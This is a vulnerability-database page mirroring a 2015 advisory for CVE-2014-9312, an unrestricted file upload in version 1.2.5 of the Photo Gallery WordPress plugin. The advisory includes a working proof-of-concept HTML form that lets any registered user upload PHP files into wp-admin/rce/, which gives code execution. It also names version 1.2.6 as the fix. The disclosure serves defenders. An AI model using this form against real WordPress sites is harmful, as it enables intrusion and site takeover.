Lucene search
K

Photo Gallery 1.2.5 Shell Upload

🗓️ 26 Jan 2015 00:00:00Reported by Kacper SzurekType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 41 Views

Photo Gallery 1.2.5 Unrestricted File Upload in WordPres

Related
Code
`# Exploit Title: Photo Gallery 1.2.5 Unrestricted File Upload  
# Date: 11-11-2014  
# Software Link: https://wordpress.org/plugins/photo-gallery/  
# Exploit Author: Kacper Szurek  
# Contact: http://twitter.com/KacperSzurek  
# Website: http://security.szurek.pl/  
# CVE: CVE-2014-9312  
# Category: webapps  
  
1. Description  
  
Every registered user (even Subscriber) can access upload functionality because of read role used inside UploadHandler.php  
  
http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html  
  
2. Proof of Concept  
  
Login as regular user (created using wp-login.php?action=register).  
  
Pack .php files into .zip archive then send it using:  
  
<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php?action=bwg_UploadHandler&dir=rce/" enctype="multipart/form-data">  
<input type="file" name="files">  
<input type="submit" value="Hack!">  
</form>  
  
Your files will be visible inside:  
  
http://wordpress-install/wp-admin/rce/  
  
3. Solution:  
  
Update to version 1.2.6  
https://downloads.wordpress.org/plugin/photo-gallery.1.2.6.zip  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Jan 2015 00:00Current
8.8High risk
Vulners AI Score8.8
EPSS0.76455
41